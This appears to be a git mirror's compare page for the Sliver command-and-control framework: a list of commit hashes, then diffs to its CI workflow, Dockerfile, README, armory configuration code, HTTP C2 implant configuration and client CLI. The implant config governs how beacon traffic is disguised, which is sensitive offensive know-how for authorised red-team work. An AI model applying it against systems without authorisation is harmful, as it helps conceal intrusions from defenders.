mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
439
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d985564198 | ||
|
|
c1b5a3f7b4 | ||
|
|
3411b438b6 | ||
|
|
40bc0d6464 | ||
|
|
b0639275f4 | ||
|
|
6216cd1dc6 | ||
|
|
78e6b3a9b3 | ||
|
|
509d1b46ff | ||
|
|
f06b2c2192 | ||
|
|
4138ddd84a | ||
|
|
e9a300bab2 | ||
|
|
6edd10a010 | ||
|
|
b438df4db9 | ||
|
|
49eab476bb | ||
|
|
8976654010 | ||
|
|
a78b8c2097 | ||
|
|
5709bb9a24 | ||
|
|
25668a6d82 | ||
|
|
3ae8353030 | ||
|
|
a3d053bde5 | ||
|
|
7e27a18245 | ||
|
|
6d09b27c85 | ||
|
|
c389bac46e | ||
|
|
fae8e77665 | ||
|
|
38cf0aeb8b | ||
|
|
a755750a89 | ||
|
|
555ee5c63d | ||
|
|
0fc51677c1 | ||
|
|
cc1c7a5364 | ||
|
|
d1fa99d6eb | ||
|
|
6697801f59 | ||
|
|
32fa69356c | ||
|
|
c42d754e72 | ||
|
|
e4babaf471 | ||
|
|
da196a789d | ||
|
|
6a656d63ab | ||
|
|
b0e226199a | ||
|
|
7cce6b17b2 | ||
|
|
d07aae4d0b | ||
|
|
f4a2ba536c | ||
|
|
2bbd69719d | ||
|
|
cf4ff14342 | ||
|
|
ae3a2fd51e | ||
|
|
d14ba3d35f | ||
|
|
10ef8b3e88 | ||
|
|
4bc65e2193 | ||
|
|
a45a5795d3 | ||
|
|
e1c5b77db4 | ||
|
|
280d08d074 | ||
|
|
1d55b34b62 | ||
|
|
d32302a1ab | ||
|
|
2eabfc255b | ||
|
|
d0375da6e4 | ||
|
|
4523c83b89 | ||
|
|
1decc7f462 | ||
|
|
f97a1e3fdf | ||
|
|
1e12ea3242 | ||
|
|
8919bc3b07 | ||
|
|
1a2b392d20 | ||
|
|
11a6584973 | ||
|
|
1e06fe6612 | ||
|
|
65ee18026e | ||
|
|
9c1617c213 | ||
|
|
d74067ddff | ||
|
|
60772c7659 | ||
|
|
25a70e6e4f | ||
|
|
a89675d961 | ||
|
|
0f340a25cf | ||
|
|
9cdc326b57 | ||
|
|
3faabd36c1 | ||
|
|
113ef5d7d0 | ||
|
|
9fa1e15425 | ||
|
|
2d9a46543d | ||
|
|
e5e589e1b0 | ||
|
|
2e0fab3a71 | ||
|
|
2f486be19c | ||
|
|
85868e5b8f | ||
|
|
31c70938bd | ||
|
|
99571dc73e | ||
|
|
5c2848c84c | ||
|
|
ffcfa8d1b5 | ||
|
|
debc03203c | ||
|
|
63668f57b5 | ||
|
|
aefe6b31e9 | ||
|
|
f854af1134 | ||
|
|
a9ef42a416 | ||
|
|
67c6140e6a | ||
|
|
b84037af11 | ||
|
|
61ed176683 | ||
|
|
12e44644ed | ||
|
|
59352177eb | ||
|
|
0b185cc885 | ||
|
|
ae0c106595 | ||
|
|
6d2b0f8319 | ||
|
|
60443f4fc7 | ||
|
|
418fe757d1 | ||
|
|
c9a624831a | ||
|
|
ed64f2e0d2 | ||
|
|
5f18609ed7 | ||
|
|
53c61cb024 | ||
|
|
3d70247f8b | ||
|
|
52b1c7b93b | ||
|
|
daeb463f77 | ||
|
|
0c75f70a1d | ||
|
|
674df112a4 | ||
|
|
26efc776c7 | ||
|
|
f221dc95cf | ||
|
|
187fc6acd2 | ||
|
|
9ecb68f6a3 | ||
|
|
f0113655ce | ||
|
|
31265c626b | ||
|
|
e2603ac3ae | ||
|
|
7acbed9637 | ||
|
|
20786fa6fb | ||
|
|
03c750a8b5 | ||
|
|
4da8c6053f | ||
|
|
a43061c61b | ||
|
|
11dc6bac4d | ||
|
|
7d5a886397 | ||
|
|
77aef8179d | ||
|
|
69e7c8ce71 | ||
|
|
82e294e3ef | ||
|
|
ccf3701011 | ||
|
|
e4b64e1050 | ||
|
|
0b8f702aa0 | ||
|
|
8caf90536b | ||
|
|
50e7d89576 | ||
|
|
fe5e9382d7 | ||
|
|
934c01f08d | ||
|
|
4ced15e528 | ||
|
|
3c151ed172 | ||
|
|
dd09895d7e | ||
|
|
3dd2b2ddce | ||
|
|
e4027d6373 | ||
|
|
7e880d33c7 | ||
|
|
356b17160e | ||
|
|
9a9b0c74ba | ||
|
|
dbde661d90 | ||
|
|
8904267cad | ||
|
|
c58cb2d4e7 | ||
|
|
cf971ea599 | ||
|
|
71c922c914 | ||
|
|
3607b526f0 | ||
|
|
1c87e8134c | ||
|
|
2a849312cc | ||
|
|
127caf54ae | ||
|
|
5902f4b02d | ||
|
|
40dfa95291 | ||
|
|
b8cef5fbd6 | ||
|
|
eed6890700 | ||
|
|
36e0c71b10 | ||
|
|
1bf020c594 | ||
|
|
072111a692 | ||
|
|
2cd7a96324 | ||
|
|
d8ff64222d | ||
|
|
0deaee625d | ||
|
|
bdfd89167d | ||
|
|
6b35032c0e | ||
|
|
8bf4f8ef02 | ||
|
|
7676fc6c37 | ||
|
|
d2ff8dca46 | ||
|
|
9c3d7abff5 | ||
|
|
4df4e21255 | ||
|
|
3fdde93255 | ||
|
|
65a7faebd5 | ||
|
|
c3b0909be0 | ||
|
|
641361d7c3 | ||
|
|
4a149f073a | ||
|
|
ba43b3fd4b | ||
|
|
5c2314702b | ||
|
|
3051de7a61 | ||
|
|
1abf8e54c3 | ||
|
|
93624cdb2d | ||
|
|
a7c6ea1f43 | ||
|
|
f23093c3a9 | ||
|
|
6f4a150d82 | ||
|
|
6790cd1647 | ||
|
|
05408ef4ea | ||
|
|
2bc3fe8a57 | ||
|
|
015942a1e4 | ||
|
|
321da76fd9 | ||
|
|
2407b4dd2e | ||
|
|
ea06daa5ac | ||
|
|
f67b08768d | ||
|
|
d0e5fbb680 | ||
|
|
6dd56bbfd5 | ||
|
|
8f15f896ac | ||
|
|
a0706ffc1f | ||
|
|
550700de98 | ||
|
|
652d960d59 | ||
|
|
292f41c665 | ||
|
|
ef324e8b9d | ||
|
|
a405ae8f20 | ||
|
|
222cc3437b | ||
|
|
fdeca972bd | ||
|
|
69bcf72e80 | ||
|
|
d60dd6a5a0 | ||
|
|
8737bba4c3 | ||
|
|
97716d2b9e | ||
|
|
844a6f8d25 | ||
|
|
b6f2c1b4bb | ||
|
|
c6397918c6 | ||
|
|
848704eb3c | ||
|
|
c3571b001a | ||
|
|
53449c1a83 | ||
|
|
cf6682dff7 | ||
|
|
2a1453ee37 | ||
|
|
a9f06fc299 | ||
|
|
5839c59682 | ||
|
|
860810c148 | ||
|
|
d92f079f97 | ||
|
|
4315a3fce3 | ||
|
|
5d142acb86 | ||
|
|
0ee50c3150 | ||
|
|
c0840eb9d6 | ||
|
|
8b3e3cd6ab | ||
|
|
ffd2fa6e8b | ||
|
|
130b5f9706 | ||
|
|
549a54cf4b | ||
|
|
e2d11c40dd | ||
|
|
9749cd8e58 | ||
|
|
4082378313 | ||
|
|
df65d7fe11 | ||
|
|
99ce1cfb7a | ||
|
|
5f2abac8d0 | ||
|
|
f265214006 | ||
|
|
23bdc7053d | ||
|
|
9510a5f0c1 | ||
|
|
72ea11790f | ||
|
|
d651e0888f | ||
|
|
f2bb628883 | ||
|
|
8e5ff45306 | ||
|
|
9dbd5a1c92 | ||
|
|
6115702268 | ||
|
|
ed1739c8d2 | ||
|
|
88da1fe868 | ||
|
|
b520eaf6e6 | ||
|
|
635086364e | ||
|
|
4bfdb7bcee | ||
|
|
7e4ba5d3e7 | ||
|
|
c642bfcacb | ||
|
|
a424412edd | ||
|
|
4d15774c9b | ||
|
|
51c45a48e8 | ||
|
|
94f01c8230 | ||
|
|
0307bf16eb | ||
|
|
1a73128163 | ||
|
|
eff371f6b7 | ||
|
|
3a48d8480e | ||
|
|
5cd83392e0 | ||
|
|
fffaca3945 | ||
|
|
fae797eff0 | ||
|
|
64a7095f5f | ||
|
|
82909ad1d9 | ||
|
|
e2e9bc18dc | ||
|
|
5bed9d4e90 | ||
|
|
60e87f9e08 | ||
|
|
d4c37f45d2 | ||
|
|
79d22bafbf | ||
|
|
6396a64878 | ||
|
|
fb1e59ef5a | ||
|
|
335797e661 | ||
|
|
d767bd019c | ||
|
|
590f9c3f96 | ||
|
|
cff899aa49 | ||
|
|
ca2dc9d267 | ||
|
|
afdd77c642 | ||
|
|
8a5970c3da | ||
|
|
2eb2ac8121 | ||
|
|
daf7d404b1 | ||
|
|
3b308920f4 | ||
|
|
c73b183f74 | ||
|
|
7564312f5e | ||
|
|
6134b78afb | ||
|
|
a1318f1061 | ||
|
|
3db9946608 | ||
|
|
ef09058498 | ||
|
|
9543951747 | ||
|
|
331faeb8ef | ||
|
|
0926339482 | ||
|
|
4ae195e3eb | ||
|
|
f8f8ba5864 | ||
|
|
7f60e133dc | ||
|
|
216e3b9759 | ||
|
|
ba3893980d | ||
|
|
363f59d276 | ||
|
|
f1bc5074f9 | ||
|
|
5083faa1e1 | ||
|
|
1b5d3436eb | ||
|
|
56303eb89a | ||
|
|
9397fcb4ae | ||
|
|
04c6c3f800 | ||
|
|
7842a6c4c6 | ||
|
|
6c815a4432 | ||
|
|
81358e31bb | ||
|
|
7bea772dbd | ||
|
|
0b235b4d42 | ||
|
|
1402a75b18 | ||
|
|
ff5e4a4a24 | ||
|
|
e59c90c89a | ||
|
|
49771f0159 | ||
|
|
a2808b19f6 | ||
|
|
eddfb7073c | ||
|
|
930799495c | ||
|
|
5016fb8d7c | ||
|
|
65382f7b77 | ||
|
|
c1d00f0e48 | ||
|
|
e89280d64a | ||
|
|
aa4c9d7b8a | ||
|
|
2be820daf1 | ||
|
|
0a44fde9fa | ||
|
|
151dfe2643 | ||
|
|
fa7033f0c4 | ||
|
|
4eab1b582a | ||
|
|
f78db1a825 | ||
|
|
eb61740f5d | ||
|
|
39d0f3b838 | ||
|
|
8f084c99a4 | ||
|
|
87720d8a41 | ||
|
|
f8dd5230c1 | ||
|
|
9296a8abce | ||
|
|
abc8747a51 | ||
|
|
dcbfe10bc4 | ||
|
|
4336f933e0 | ||
|
|
6a4521a4b0 | ||
|
|
bf80f8f7e6 | ||
|
|
174455cbcc | ||
|
|
09564cf241 | ||
|
|
03fa4029d3 | ||
|
|
b33e012f2a | ||
|
|
98f13030f9 | ||
|
|
040863b757 | ||
|
|
7fe0b295f5 | ||
|
|
1624c84eb6 | ||
|
|
44368b26ad | ||
|
|
0eb93d51c0 | ||
|
|
c7cd14eae2 | ||
|
|
9c9caba8d8 | ||
|
|
4b6219d860 | ||
|
|
a47aeb7e73 | ||
|
|
d3255ec7bb | ||
|
|
4c0e6cb585 | ||
|
|
88e35469b8 | ||
|
|
cd711c1e2f | ||
|
|
723eca2ddd | ||
|
|
0b2e0fa9bc | ||
|
|
9135afd201 | ||
|
|
b3a9ba86e1 | ||
|
|
2211b13c31 | ||
|
|
187394439e | ||
|
|
3b767baca3 | ||
|
|
c1070f917f | ||
|
|
5487df2000 | ||
|
|
97497c9f78 | ||
|
|
ee36676ba2 | ||
|
|
6809d81b66 | ||
|
|
6b876b0a0e | ||
|
|
33ab6096f1 | ||
|
|
0a6636fb71 | ||
|
|
6a30b8a99a | ||
|
|
a3c353baf7 | ||
|
|
5e992e073e | ||
|
|
12d2569c2f | ||
|
|
1abda712c4 | ||
|
|
6dc49f5074 | ||
|
|
2eff697a50 | ||
|
|
143246a9fc | ||
|
|
ab80379e5e | ||
|
|
d8e400f005 | ||
|
|
a4cc570845 | ||
|
|
0072335cc0 | ||
|
|
6bccd35318 | ||
|
|
f37bed31c0 | ||
|
|
dac592d231 | ||
|
|
f98ae8e7fe | ||
|
|
026c1d6ef6 | ||
|
|
4b982f422f | ||
|
|
c2f5460c63 | ||
|
|
214143e9d9 | ||
|
|
2607a021d8 | ||
|
|
e474dc452f | ||
|
|
c28e8e1e0f | ||
|
|
7b2822795c | ||
|
|
cc5f162848 | ||
|
|
83b6bf9147 | ||
|
|
79202297df | ||
|
|
cd4e967cd9 | ||
|
|
ea901f5442 | ||
|
|
a5cd0d0cae | ||
|
|
e9930d01fd | ||
|
|
f83131ef43 | ||
|
|
73d5c3192d | ||
|
|
076db57bba | ||
|
|
db85a76c85 | ||
|
|
662c1c1e18 | ||
|
|
5634b09921 | ||
|
|
f8c8cdfe31 | ||
|
|
cabe48e997 | ||
|
|
cabb1b09cc | ||
|
|
3bb667f814 | ||
|
|
6cb1ffbe4e | ||
|
|
dba5ba5767 | ||
|
|
65a7730bf4 | ||
|
|
e17c363381 | ||
|
|
454ffd7bcd | ||
|
|
be75b1557c | ||
|
|
d12d2fb792 | ||
|
|
4debb053bd | ||
|
|
d45a62867f | ||
|
|
32c7e02f09 | ||
|
|
e0ba712631 | ||
|
|
fd17c4ed20 | ||
|
|
76eb06e6b9 | ||
|
|
7a7f169e0a | ||
|
|
61090be973 | ||
|
|
a0360fac17 | ||
|
|
61210acff0 | ||
|
|
eca785a99a | ||
|
|
0b9442d2b8 | ||
|
|
b6a24b0ab2 | ||
|
|
9f43f73350 | ||
|
|
d6ccb0044c | ||
|
|
5d13415770 | ||
|
|
f4c72d5216 | ||
|
|
bb28d796a4 | ||
|
|
e926f1b954 | ||
|
|
84acde7db0 | ||
|
|
30587f6e8f | ||
|
|
de02d2fa6e | ||
|
|
b286aa979f | ||
|
|
2da1da7c40 | ||
|
|
d02b38681c | ||
|
|
235c666b61 | ||
|
|
a7befbe8a6 | ||
|
|
9baa1c0095 | ||
|
|
af27a2f0ec | ||
|
|
0c7cb4c566 | ||
|
|
bf3846ac30 | ||
|
|
33b21778d0 |
No files matched your search
@@ -66,7 +66,7 @@ jobs:
|
||||
uses: actions/configure-pages@v5
|
||||
|
||||
- name: Restore cache
|
||||
uses: actions/cache@v3
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: |
|
||||
.next/cache
|
||||
|
||||
@@ -31,8 +31,7 @@ jobs:
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
@@ -75,9 +74,6 @@ jobs:
|
||||
run: make macos-amd64
|
||||
|
||||
- name: Test MacOS (amd64)
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make MacOS (arm64)
|
||||
|
||||
+7
-12
@@ -9,7 +9,7 @@
|
||||
|
||||
# STAGE: base
|
||||
## Compiles Sliver for use
|
||||
FROM --platform=linux/amd64 golang:1.22.1 as base
|
||||
FROM golang:1.23.5 AS base
|
||||
|
||||
### Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
@@ -29,12 +29,12 @@ RUN cp -vv sliver-server /opt/sliver-server
|
||||
# STAGE: test
|
||||
## Run unit tests against the compiled instance
|
||||
## Use `--target test` in the docker build command to run this stage
|
||||
FROM --platform=linux/amd64 base as test
|
||||
FROM base AS test
|
||||
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
&& apt-get -y install \
|
||||
curl gcc-multilib build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
curl
|
||||
|
||||
RUN /opt/sliver-server unpack --force
|
||||
|
||||
@@ -43,7 +43,7 @@ RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
|
||||
# STAGE: production
|
||||
## Final dockerized form of Sliver
|
||||
FROM --platform=linux/amd64 debian:bookworm-slim as production
|
||||
FROM debian:bookworm-slim AS production
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
@@ -56,8 +56,7 @@ RUN apt-get update --fix-missing \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
curl libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
nasm
|
||||
|
||||
### Install MSF for stager generation
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
@@ -92,15 +91,11 @@ ENTRYPOINT [ "/opt/sliver-server" ]
|
||||
|
||||
|
||||
# STAGE: production-slim (about 1Gb smaller)
|
||||
### Slim production image, i.e. without MSF and assoicated libraries
|
||||
### Still include GCC and MinGW for cross-platform generation
|
||||
FROM --platform=linux/amd64 debian:bookworm-slim as production-slim
|
||||
FROM debian:bookworm-slim AS production-slim
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
&& apt-get -y install \
|
||||
build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
&& apt-get -y upgrade
|
||||
|
||||
### Cleanup unneeded packages
|
||||
RUN apt-get autoremove -y \
|
||||
|
||||
@@ -8,7 +8,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
|
||||
# v1.6.0 / `master`
|
||||
|
||||
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
|
||||
**NOTE:** You are looking at the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
|
||||
|
||||
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
|
||||
|
||||
@@ -47,7 +47,7 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
|
||||
|
||||
### Feedback
|
||||
|
||||
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
|
||||
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6).
|
||||
|
||||
### License - GPLv3
|
||||
|
||||
|
||||
+58
-19
@@ -27,7 +27,8 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
armoryConfigFileName = "armories.json"
|
||||
ArmoryConfigFileName = "armories.json"
|
||||
DefaultArmoryName = "Default"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -36,9 +37,11 @@ var (
|
||||
// DefaultArmoryRepoURL - The default repo url for the armory
|
||||
DefaultArmoryRepoURL string
|
||||
|
||||
defaultArmoryConfig = &ArmoryConfig{
|
||||
DefaultArmoryConfig = &ArmoryConfig{
|
||||
PublicKey: DefaultArmoryPublicKey,
|
||||
RepoURL: DefaultArmoryRepoURL,
|
||||
Name: DefaultArmoryName,
|
||||
Enabled: true,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -48,29 +51,65 @@ type ArmoryConfig struct {
|
||||
RepoURL string `json:"repo_url"`
|
||||
Authorization string `json:"authorization"`
|
||||
AuthorizationCmd string `json:"authorization_cmd"`
|
||||
Name string `json:"name"`
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
data, err := os.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigs)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
func RefreshArmoryAuthorization(armories []*ArmoryConfig) {
|
||||
for _, armoryConfig := range armories {
|
||||
if armoryConfig.AuthorizationCmd != "" {
|
||||
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
|
||||
}
|
||||
}
|
||||
return append(armoryConfigs, defaultArmoryConfig)
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{DefaultArmoryConfig}
|
||||
}
|
||||
data, err := os.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{DefaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigsFromFile []*ArmoryConfig
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigsFromFile)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{DefaultArmoryConfig}
|
||||
}
|
||||
|
||||
// Force the default armory to be the last
|
||||
defaultArmorySpecified := false
|
||||
|
||||
for _, config := range armoryConfigsFromFile {
|
||||
if config.Name == DefaultArmoryName {
|
||||
defaultArmorySpecified = true
|
||||
continue
|
||||
} else {
|
||||
armoryConfigs = append(armoryConfigs, config)
|
||||
}
|
||||
}
|
||||
if defaultArmorySpecified {
|
||||
armoryConfigs = append(armoryConfigs, DefaultArmoryConfig)
|
||||
}
|
||||
RefreshArmoryAuthorization(armoryConfigs)
|
||||
|
||||
return armoryConfigs
|
||||
}
|
||||
|
||||
func SaveArmoriesConfig(armories []*ArmoryConfig) error {
|
||||
configData, err := json.Marshal(armories)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
|
||||
err = os.WriteFile(armoryConfigPath, configData, 0640)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
|
||||
|
||||
+12
-25
@@ -35,7 +35,7 @@ type NameValueProbability struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Probability int `json:"probability"`
|
||||
Methods []string
|
||||
Method string `json:"method"`
|
||||
}
|
||||
|
||||
// HTTPC2ImplantConfig - Implant configuration options
|
||||
@@ -57,30 +57,17 @@ type HTTPC2ImplantConfig struct {
|
||||
NonceQueryArgChars string `json:"nonce_query_args"`
|
||||
URLParameters []NameValueProbability `json:"url_parameters"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
NonceQueryLength int `json:"nonce_query_length"`
|
||||
NonceMode string `json:"nonce_mode"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
MaxPaths int `json:"max_paths"`
|
||||
MinPaths int `json:"min_paths"`
|
||||
MaxFileGen int `json:"max_files"`
|
||||
MinFileGen int `json:"min_files"`
|
||||
MaxPathGen int `json:"max_paths"`
|
||||
MinPathGen int `json:"min_paths"`
|
||||
MaxPathLength int `json:"max_path_length"`
|
||||
MinPathLength int `json:"min_path_length"`
|
||||
|
||||
// Stager files and paths
|
||||
StagerFileExt string `json:"stager_file_ext"`
|
||||
StagerFiles []string `json:"stager_files"`
|
||||
StagerPaths []string `json:"stager_paths"`
|
||||
|
||||
// Poll files and paths
|
||||
PollFileExt string `json:"poll_file_ext"`
|
||||
PollFiles []string `json:"poll_files"`
|
||||
PollPaths []string `json:"poll_paths"`
|
||||
|
||||
// Session files and paths
|
||||
StartSessionFileExt string `json:"start_session_file_ext"`
|
||||
SessionFileExt string `json:"session_file_ext"`
|
||||
SessionFiles []string `json:"session_files"`
|
||||
SessionPaths []string `json:"session_paths"`
|
||||
|
||||
// Close session files and paths
|
||||
CloseFileExt string `json:"close_file_ext"`
|
||||
CloseFiles []string `json:"close_files"`
|
||||
ClosePaths []string `json:"close_paths"`
|
||||
Extensions []string `json:"extensions"`
|
||||
Files []string `json:"files"`
|
||||
Paths []string `json:"paths"`
|
||||
}
|
||||
+6
-4
@@ -24,8 +24,8 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -34,8 +34,6 @@ const (
|
||||
logFileName = "sliver-client.log"
|
||||
)
|
||||
|
||||
var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
|
||||
|
||||
// Initialize logging.
|
||||
func initLogging(appDir string) *os.File {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
@@ -48,6 +46,10 @@ func initLogging(appDir string) *os.File {
|
||||
}
|
||||
|
||||
func init() {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
rootCmd.TraverseChildren = true
|
||||
|
||||
// Create the console client, without any RPC or commands bound to it yet.
|
||||
@@ -90,7 +92,7 @@ var rootCmd = &cobra.Command{
|
||||
// Execute - Execute root command.
|
||||
func Execute() {
|
||||
if err := rootCmd.Execute(); err != nil {
|
||||
fmt.Println(err)
|
||||
fmt.Printf("root command: %s\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
+37
-4
@@ -1,7 +1,27 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
@@ -10,6 +30,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/connectivity"
|
||||
)
|
||||
|
||||
// consoleCmd generates the console with required pre/post runners.
|
||||
@@ -20,7 +41,6 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
|
||||
}
|
||||
|
||||
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
|
||||
|
||||
return consoleCmd
|
||||
}
|
||||
|
||||
@@ -28,9 +48,6 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
|
||||
var ln *grpc.ClientConn
|
||||
|
||||
pre = func(_ *cobra.Command, _ []string) error {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
@@ -56,6 +73,9 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
|
||||
return nil
|
||||
}
|
||||
|
||||
// Wait for any connection state changes and exit if the connection is lost.
|
||||
go handleConnectionLost(ln)
|
||||
|
||||
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
|
||||
}
|
||||
|
||||
@@ -70,3 +90,16 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
|
||||
|
||||
return pre, post
|
||||
}
|
||||
|
||||
func handleConnectionLost(ln *grpc.ClientConn) {
|
||||
currentState := ln.GetState()
|
||||
// currentState should be "Ready" when the connection is established.
|
||||
if ln.WaitForStateChange(context.Background(), currentState) {
|
||||
newState := ln.GetState()
|
||||
// newState will be "Idle" if the connection is lost.
|
||||
if newState == connectivity.Idle {
|
||||
fmt.Println("\nLost connection to server. Exiting now.")
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
}
|
||||
+19
-1
@@ -1,5 +1,23 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
@@ -24,7 +42,7 @@ func implantCmd(con *console.SliverClient) *cobra.Command {
|
||||
implantFlags.StringP("use", "s", "", "interact with a session")
|
||||
cmd.Flags().AddFlagSet(implantFlags)
|
||||
|
||||
// Prerunners (console setup, connection, etc)
|
||||
// Pre-runners (console setup, connection, etc)
|
||||
cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
|
||||
|
||||
// Completions
|
||||
|
